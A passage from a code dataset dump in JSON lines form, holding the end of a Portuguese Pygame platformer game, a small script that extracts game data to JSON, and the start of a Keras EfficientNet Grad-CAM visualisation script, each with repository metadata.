pygame.image.load('img/start_btn.png')\nexit_img = pygame.image.load('img/exit_btn.png')\n\n#Carregar sons\npygame.mixer.music.load('img/musica_fundo.wav')\npygame.mixer.music.set_volume(0.3)\npygame.mixer.music.play(-1, 0.0, 5000)\nclique_som = pygame.mixer.Sound('img/clique_som.wav')\nmoeda_som = pygame.mixer.Sound('img/moeda_som.wav')\npular_som = pygame.mixer.Sound('img/pulo_som.wav')\ngame_over_som = pygame.mixer.Sound('img/game_over_som.wav')\n\n#Função para escrever texto na tela\ndef escrever_texto(text, font, text_cor, x, y):\n img = font.render(text, True, text_cor)\n tela.blit(img, (x, y))\n \n\n#Função para redefinir o nível\ndef reset_level(level):\n jogador.reset(100, altura - 130)\n vilao_grupo.empty()\n moedas_grupo.empty()\n plataforma_grupo.empty()\n larva_grupo.empty()\n exit_grupo.empty()\n\n #carregar dados de nível e criar mundo\n if path.exists(f'level{level}_data'):\n pickle_in = open(f'level{level}_data', 'rb')\n dados_cenario = pickle.load(pickle_in)\n cenario = Mundo(dados_cenario)\n pontuacao_moeda = Moedas(tamanho_do_ladrilho//2, tamanho_do_ladrilho//2)\n moedas_grupo.add(pontuacao_moeda)\n return cenario\n\n\nclass Botoes():\n def __init__(self, x, y, imagem):\n self.imagem = imagem\n self.rect= self.imagem.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.clicked = False\n\n def Desenhar(self):\n acao = False\n # obtem a posição do mouse\n pos = pygame.mouse.get_pos()\n\n #verificar as condições do mouse e clicar\n if self.rect.collidepoint(pos):\n if pygame.mouse.get_pressed()[0] == 1 and self.clicked == False:\n acao = True\n self.clicked = True\n clique_som.play()\n if pygame.mouse.get_pressed()[0] == 0:\n self.clicked = False\n #desenha o botao\n tela.blit(self.imagem, self.rect)\n \n return acao\n\n\ndef desenhar_grade():\n for linha in range(0, 6):\n pygame.draw.line(tela, (255, 255, 255), (0, linha * tamanho_do_ladrilho), (largura, linha * tamanho_do_ladrilho))\n pygame.draw.line(tela, (255, 255, 255), (linha * tamanho_do_ladrilho, 0), (linha * tamanho_do_ladrilho, altura))\n\nclass Jogador():\n def __init__(self, x, y):\n self.reset(x, y)\n \n #função para atualizar\n def update(self, game_over):\n dx = 0\n dy = 0\n tempo_caminhada = 5\n debulhar_colisao = 20\n\n if game_over == 0:\n #Pressionar as teclas:\n key = pygame.key.get_pressed()\n if key[pygame.K_UP] and self.pular == False and self.no_ar == False:\n pular_som.play()\n self.vel_y = - 15\n self.pular = True\n if key[pygame.K_UP] == False:\n self.pular = False\n if key[pygame.K_LEFT]:\n dx -= 5\n self.counter += 1\n self.direção = -1\n if key[pygame.K_RIGHT]:\n dx += 5\n self.counter += 1\n self.direção = 1\n if key[pygame.K_LEFT] == False and key[pygame.K_RIGHT] == False:\n self.counter = 0\n self.index = 0\n if self.direção == 1:\n self.image = self.imagens_direita[self.index]\n if self.direção == -1:\n self.image = self.imagens_esquerda[self.index]\n\n #Fazer a animação\n if self.counter > tempo_caminhada:\n self.counter = 0\n self.index +=1 \n if self.index >= len(self.imagens_direita):\n self.index = 0\n if self.direção == 1:\n self.image = self.imagens_direita[self.index]\n if self.direção == -1:\n self.image = self.imagens_esquerda[self.index]\n\n #Adicionar gravidade\n self.vel_y +=1\n if self.vel_y > 10:\n self.vel_y = 10\n dy += self.vel_y\n\n #Checar as colisões\n self.no_ar = True\n for ladrilho in cenario.ladrilho_lista:\n #Checar a colisão na direção x\n if ladrilho[1].colliderect(self.rect.x + dx, self.rect.y, self.largura, self.altura):\n dx = 0\n \n #checar a colisao na direçao y\n if ladrilho[1].colliderect(self.rect.x, self.rect.y + dy, self.largura, self.altura):\n #verifique se abaixo do solo e cair\n if self.vel_y < 0:\n dy = ladrilho[1].bottom - self.rect.top\n self.vel_y = 0\n #verifique se acima do solo e pulando\n elif self.vel_y >= 0:\n dy = ladrilho[1].top - self.rect.bottom\n self.vel_y = 0\n self.no_ar = False\n\n #checar colisões com o inimigo \n if pygame.sprite.spritecollide(self, vilao_grupo, False):\n game_over = -1 \n game_over_som.play()\n #checar colisões com a larva \n if pygame.sprite.spritecollide(self, larva_grupo, False):\n game_over = -1\n game_over_som.play()\n\n #checar colisões com a saída \n if pygame.sprite.spritecollide(self, exit_grupo, False):\n game_over = 1\n\n #checar a colisão com as plataformas\n for plataform in plataforma_grupo:\n #colisão na direção x\n if plataform.rect.colliderect(self.rect.x + dx, self.rect.y, self.largura, self.altura):\n dx = 0\n #colisão na direção x\n if plataform.rect.colliderect(self.rect.x, self.rect.y + dy, self.largura, self.altura):\n #verificar abaixo da plataforma\n if abs((self.rect.top + dy) - plataform.rect.bottom) < debulhar_colisao:\n self.vel_y = 0\n dy = plataform.rect.bottom - self.rect.top\n #verificar acima da plataforma\n elif abs((self.rect.bottom + dy) - plataform.rect.top) < debulhar_colisao:\n self.rect.bottom = plataform.rect.top - 1\n self.no_ar = False\n dy = 0\n #mover o jogador para o lado junto com a plataforma\n if plataform.mover_x != 0:\n self.rect.x += plataform.mover_direcao\n\n\n\n #atualizar as coordenadas do jogador\n self.rect.x += dx\n self.rect.y += dy\n\n elif game_over == -1:\n self.image = self.dead_image\n\n escrever_texto('GAME OVER!', fonte, vermelho, (largura// 2) - 170, altura// 2)\n if self.rect.y > 20:\n self.rect.y -= 5\n \n #desenhar o jogador na tela\n tela.blit(self.image, self.rect)\n \n return game_over\n\n def reset(self, x, y):\n self.imagens_direita = []\n self.imagens_esquerda = []\n self.index = 0\n self.counter = 0\n for num in range(1, 5):\n img_direita = pygame.image.load(rf'img/menina{num}.png') #movimentação do personagem\n img_direita = pygame.transform.scale(img_direita, (27, 54))\n img_esquerda = pygame.transform.flip(img_direita, True, False)\n self.imagens_direita.append(img_direita)\n self.imagens_esquerda.append(img_esquerda)\n self.dead_image = pygame.image.load('img/ghost.png')\n self.image = self.imagens_direita[self.index]\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.largura = self.image.get_width()\n self.altura = self.image.get_height()\n self.vel_y = 0\n self.pular = False\n self.direção = 0\n self.no_ar = True\nclass Mundo():\n def __init__(self, dados):\n self.ladrilho_lista = []\n\n #carregar imagens\n ladrilho_imagem = pygame.image.load('img/ladrilho.jpg')\n barra_imagem = pygame.image.load('img/barra.jpg')\n\n linha_count = 0\n for linha in dados:\n col_count = 0\n for ladrilho in linha:\n if ladrilho == 1:\n img = pygame.transform.scale(ladrilho_imagem, (tamanho_do_ladrilho, tamanho_do_ladrilho))\n img_rect = img.get_rect()\n img_rect.x = col_count * tamanho_do_ladrilho\n img_rect.y = linha_count * tamanho_do_ladrilho\n ladrilho = (img, img_rect)\n self.ladrilho_lista.append(ladrilho)\n if ladrilho == 2:\n img = pygame.transform.scale(barra_imagem, (tamanho_do_ladrilho, tamanho_do_ladrilho))\n img_rect = img.get_rect()\n img_rect.x = col_count * tamanho_do_ladrilho\n img_rect.y = linha_count * tamanho_do_ladrilho\n ladrilho = (img, img_rect)\n self.ladrilho_lista.append(ladrilho)\n if ladrilho == 3:\n # 25 para que o inimigo não saia do bloco\n vilao = Inimigo(col_count * tamanho_do_ladrilho - 25, linha_count * tamanho_do_ladrilho)\n vilao_grupo.add(vilao)\n if ladrilho == 4:\n plataforma = Plataforma(col_count * tamanho_do_ladrilho, linha_count * tamanho_do_ladrilho, 1, 0)\n plataforma_grupo.add(plataforma)\n if ladrilho == 5:\n plataforma = Plataforma(col_count * tamanho_do_ladrilho, linha_count * tamanho_do_ladrilho, 0, 1)\n plataforma_grupo.add(plataforma)\n if ladrilho == 6:\n larva = Larva(col_count * tamanho_do_ladrilho, linha_count * tamanho_do_ladrilho + (tamanho_do_ladrilho//2))\n larva_grupo.add(larva)\n if ladrilho == 7:\n moedas = Moedas(col_count * tamanho_do_ladrilho + (tamanho_do_ladrilho//2), linha_count * tamanho_do_ladrilho - (tamanho_do_ladrilho//2))\n moedas_grupo.add(moedas)\n if ladrilho == 8:\n exit = Exit(col_count * tamanho_do_ladrilho, linha_count * tamanho_do_ladrilho - (tamanho_do_ladrilho//2))\n exit_grupo.add(exit)\n col_count += 1\n linha_count += 1\n def bloco(self):\n for ladrilho in self.ladrilho_lista:\n tela.blit(ladrilho[0], ladrilho[1])\n #pygame.draw.rect(tela, (255, 255, 255), ladrilho[1], 2)\n\nclass Inimigo(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load('img/blob.png')\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.mover_direcao = 1\n self.movimento_contador = 0\n \n def update(self):\n self.rect.x += self.mover_direcao\n self.movimento_contador +=1 \n if abs(self.movimento_contador) > 50:\n self.mover_direcao *= -1\n self.movimento_contador *= -1\n\nclass Plataforma(pygame.sprite.Sprite):\n def __init__(self, x, y, mover_x, mover_y):\n pygame.sprite.Sprite.__init__(self)\n img = pygame.image.load('img/plataforma_movimento.jpg')\n self.image = pygame.transform.scale(img, (tamanho_do_ladrilho, tamanho_do_ladrilho//2))\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.movimento_contador = 0\n self.mover_direcao = 1\n self.mover_x = mover_x\n self.mover_y = mover_y\n\n def update(self):\n self.rect.x += self.mover_direcao * self.mover_x\n self.rect.y += self.mover_direcao * self.mover_y\n self.movimento_contador +=1\n if abs(self.movimento_contador) > 50:\n self.mover_direcao *= -1\n self.movimento_contador *= -1\n \n\nclass Larva(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n img = pygame.image.load('img/lava.png')\n self.image = pygame.transform.scale(img, (tamanho_do_ladrilho, tamanho_do_ladrilho//2))\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\nclass Exit(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n img = pygame.image.load('img/exit.png')\n self.image = pygame.transform.scale(img, (tamanho_do_ladrilho, int(tamanho_do_ladrilho * 1.5)))\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\nclass Moedas(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n img = pygame.image.load('img/coin.png')\n self.image = pygame.transform.scale(img, (tamanho_do_ladrilho//2, int(tamanho_do_ladrilho//2)))\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n \n\njogador = Jogador(100, altura - 116)\n\nvilao_grupo = pygame.sprite.Group()\nplataforma_grupo = pygame.sprite.Group()\nlarva_grupo = pygame.sprite.Group()\nmoedas_grupo = pygame.sprite.Group()\nexit_grupo = pygame.sprite.Group()\n\n#Criar moeda fictícia para mostrar a pontuação\npontuacao_moeda = Moedas(tamanho_do_ladrilho // 2, tamanho_do_ladrilho//2)\nmoedas_grupo.add(pontuacao_moeda)\n\n\n#carregar dados de nível e criar mundo\nif path.exists(f'level{level}_data'):\n pickle_in = open(f'level{level}_data', 'rb')\n dados_cenario = pickle.load(pickle_in)\ncenario = Mundo(dados_cenario)\n\n#criar botoes:\nreiniciar_botao = Botoes(largura // 2 - 50, altura // 2 + 100, reiniciar_imagem)\nstart_botao = Botoes(largura // 2 - 300, (altura//2) + 80, start_img)\nexit_botao = Botoes(largura // 2 + 55, (altura//2) + 80, exit_img)\n\n#main\n#Criar variável para o jogo rodar:\nrun = True\nwhile run: \n #Corrige a taxa de quadros para garantir consistência ao jogo (mesmo tempo em cada computador)\n temporizador.tick(fps)\n tela.blit(bg_img, (0, 0))\n tela.blit(lua_escala, (50, 60))\n\n\n\n #ativar os botões\n if main_menu == True:\n tela.blit(logo_escala, (180, 20))\n escrever_texto('Feito por: Evellyn Rodrigues', fonte_pontuacao, branco, 185, 650)\n\n if exit_botao.Desenhar() == True:\n run = False\n\n if start_botao.Desenhar():\n main_menu = False\t\t\n \n else:\n cenario.bloco()\n \n if game_over == 0:\n #para parar as animações\n vilao_grupo.update()\n plataforma_grupo.update()\n #atualizaçao de pontuação\n #verifique se a moeda foi coletada\n if pygame.sprite.spritecollide(jogador, moedas_grupo, True):\n pontuacao += 1\n moeda_som.play()\n escrever_texto('X' + str(pontuacao), fonte_pontuacao, branco, tamanho_do_ladrilho - 10, 5)\n\n vilao_grupo.draw(tela)\n plataforma_grupo.draw(tela)\n larva_grupo.draw(tela)\n moedas_grupo.draw(tela)\n exit_grupo.draw(tela)\n\n game_over = jogador.update(game_over)\n\n #se o jogador morrer\n if game_over == -1:\n if reiniciar_botao.Desenhar():\n dados_cenario = []\n jogador.reset(100, altura - 116)\n game_over = 0\n pontuacao -= 1\n try:\n\n #se o jogador completar o nivel\n if game_over == 1:\n #reiniciar o jogo e ir para o próximo nível\n level += 1\n dados_cenario = []\n cenario = reset_level(level)\n game_over = 0\n escrever_texto(f'NÍVEL: {level}', fonte_pontuacao, branco, tamanho_do_ladrilho + 550, 5)\n\n except UnboundLocalError:\n escrever_texto('VOCÊ GANHOU!', fonte, vermelho, (largura// 2) - 205, altura// 2)\n escrever_texto(f'Você conseguiu {pontuacao} moedas de um total de 70!', fonte_nome, branco, (largura// 2) - 200, (altura// 2) - 50)\n if reiniciar_botao.Desenhar():\n level = 1\n #reset level\n dados_cenario = []\n cenario = reset_level(level)\n game_over = 0\n pontuacao = 0\n\n # criar manipulador de eventos para fechar o jogo:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n pygame.display.update()\n\n\npygame.quit()\n", "repo_name": "evellyn489/Jumping-Tile---Jogo", "sub_path": "jumping_tile.py", "file_name": "jumping_tile.py", "file_ext": "py", "file_size_in_byte": 17748, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.mixer.pre_init", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 10, "usage_type": "name"}, {"api_name": "pygame.init", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.set_volume", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.mouse.get_pos", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 98, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 102, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 112, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 113, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 135, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 188, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 188, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 192, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 192, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 244, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 245, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 245, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 246, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 246, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 249, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 265, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 266, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 266, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 273, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 273, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 280, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 280, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 312, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 314, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 314, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 315, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 315, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 329, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 331, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 331, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 332, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 332, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 333, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 333, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 351, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 353, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 353, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 354, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 354, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 355, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 355, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 360, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 362, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 362, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 363, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 363, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 364, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 364, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 369, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 371, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 371, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 372, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 372, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 373, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 373, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 380, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 380, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 381, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 381, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 382, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 382, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 383, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 383, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 384, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 384, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 394, "usage_type": "call"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 433, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 433, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 476, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 476, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 477, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 480, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 480, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 483, "usage_type": "call"}]} {"seq_id": "69980046654", "text": "import json\n\nMechanicsDict = {}\nfor path in [\"dat_cla_0\", \"dat_cla_1\", \"dat_cla_2\"]:\n with open(\"client/src/assets/extracted/{}.json\".format(path), encoding=\"utf8\") as file:\n Skills = json.loads(file.read())\n Mechanics = [s for s in Skills if s['TYPE'] == \"mechanics\" or s['TYPE'] == \"mechanic\"]\n for m in Mechanics:\n MechanicsDict[m['EN_NAME']] = {k:v for (k,v) in m.items() if v != \"\" and v != None}\nwith open(\"client/src/assets/data/mechanics.json\", \"w\") as output:\n json.dump(MechanicsDict, output)\n \n \nStats = []\nfor path in [\"dat_sta\"]:\n with open(\"client/src/assets/extracted/{}.json\".format(path), encoding=\"utf8\") as file:\n StatsData = json.loads(file.read())\n for s in StatsData:\n stat = {}\n for (k, v) in s.items():\n key = k.lower() if k in [\n \"HELM\",\n \"BELT\",\n \"BRACER\",\n \"GLOVE\",\n \"SHOULDER\",\n \"BOOT\",\n \"RING\",\n \"AMULET\",\n \"CAPE\",\n ] else k\n if k == \"ARMOR\":\n key = \"body\"\n stat[key] = v\n Stats.append(stat)\nwith open(\"client/src/assets/data/item_stats.json\", \"w\") as output:\n json.dump(Stats, output)\n ", "repo_name": "Senryoku/SlormBuilder", "sub_path": "Extract.py", "file_name": "Extract.py", "file_ext": "py", "file_size_in_byte": 1366, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.loads", "line_number": 6, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 11, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 37, "usage_type": "call"}]} {"seq_id": "19015988579", "text": "import cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom keras import Model\nfrom keras.layers import BatchNormalization, Dense, GlobalAveragePooling2D, Input\nfrom keras.optimizers import Adam\nfrom tensorflow.keras.applications.efficientnet import (\n preprocess_input as preprocess_input_efficientnet,\n)\n\n\ndef grad_cam(img, model):\n with tf.GradientTape() as tape:\n conv_outputs, predictions = model(preprocess_input_efficientnet(img[None, ...]))\n cls = np.argmax(predictions)\n loss = predictions[:, cls]\n\n output = conv_outputs[0]\n grads = tape.gradient(loss, conv_outputs)[0]\n\n gate_f = tf.cast(output > 0, \"float32\")\n gate_r = tf.cast(grads > 0, \"float32\")\n guided_grads = gate_f * gate_r * grads\n\n weights = tf.reduce_mean(guided_grads, axis=(0, 1))\n\n cam = np.zeros(output.shape[0:2], dtype=np.float32)\n\n for i, w in enumerate(weights):\n cam += w * output[:, :, i]\n\n cam = cv2.resize(cam.numpy(), (205, 650))\n cam = np.maximum(cam, 0)\n heatmap = (cam - cam.min()) / (cam.max() - cam.min())\n\n cam = cv2.applyColorMap(np.uint8(255 * heatmap), cv2.COLORMAP_JET)\n\n output_image = cv2.addWeighted(\n cv2.cvtColor(img.astype(\"uint8\"), cv2.COLOR_RGB2BGR), 0.5, cam, 1, 0\n )\n\n plt.subplot(1, 2, 1), plt.imshow(img)\n plt.title(\"img\"), plt.xticks([]), plt.yticks([])\n plt.subplot(1, 2, 2), plt.imshow(output_image)\n plt.title(\"heatmap\"), plt.xticks([]), plt.yticks([])\n plt.show()\n\n\ndef main():\n # make a model\n # chage variables\n shape = (650, 205, 3)\n num_classes = 100\n\n input_tensor = Input(shape=shape)\n pretrained_model = tf.keras.applications.EfficientNetB0(\n input_tensor=input_tensor, include_top=False, weights=\"imagenet\"\n )\n\n inputs = pretrained_model.input\n x = pretrained_model.output\n x = GlobalAveragePooling2D()(x)\n output = Dense(num_classes, activation=\"softmax\")(x)\n\n LAYER_NAME = pretrained_model.layers[-1].name\n model = Model(\n inputs=inputs, outputs=[pretrained_model.get_layer(LAYER_NAME).output, output]\n )\n\n layer_names = [l.name for l in model.layers]\n # fine-tuning\n idx = layer_names.index(\"block7a_expand_conv\")\n for layer in model.layers[:idx]:\n layer.trainable = False\n\n # train\n learning_rate = 0.001\n model.compile(\n optimizer=Adam(lr=learning_rate),\n loss=\"categorical_crossentropy\",\n loss_weights=[0, 1],\n metrics=[\"accuracy\"],\n )\n\n img_path = None\n img = cv2.imread(img_path)\n target_size = shape[:-1][::-1]\n if img.shape[:-1] != target_size:\n img = cv2.resize(img, target_size, interpolation=cv2.INTER_LINEAR)\n\n grad_cam(img, model)\n", "repo_name": "takumi5757/grad-cam-keras-efficientnet", "sub_path": "grad_cam.py", "file_name": "grad_cam.py", "file_ext": "py", "file_size_in_byte": 2733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tensorflow.GradientTape", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras.applications.efficientnet.preprocess_input", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.applyColorMap", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.COLORMAP_JET", "line_number": 37, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 40, "usage_type": "call"}, {"api_name": 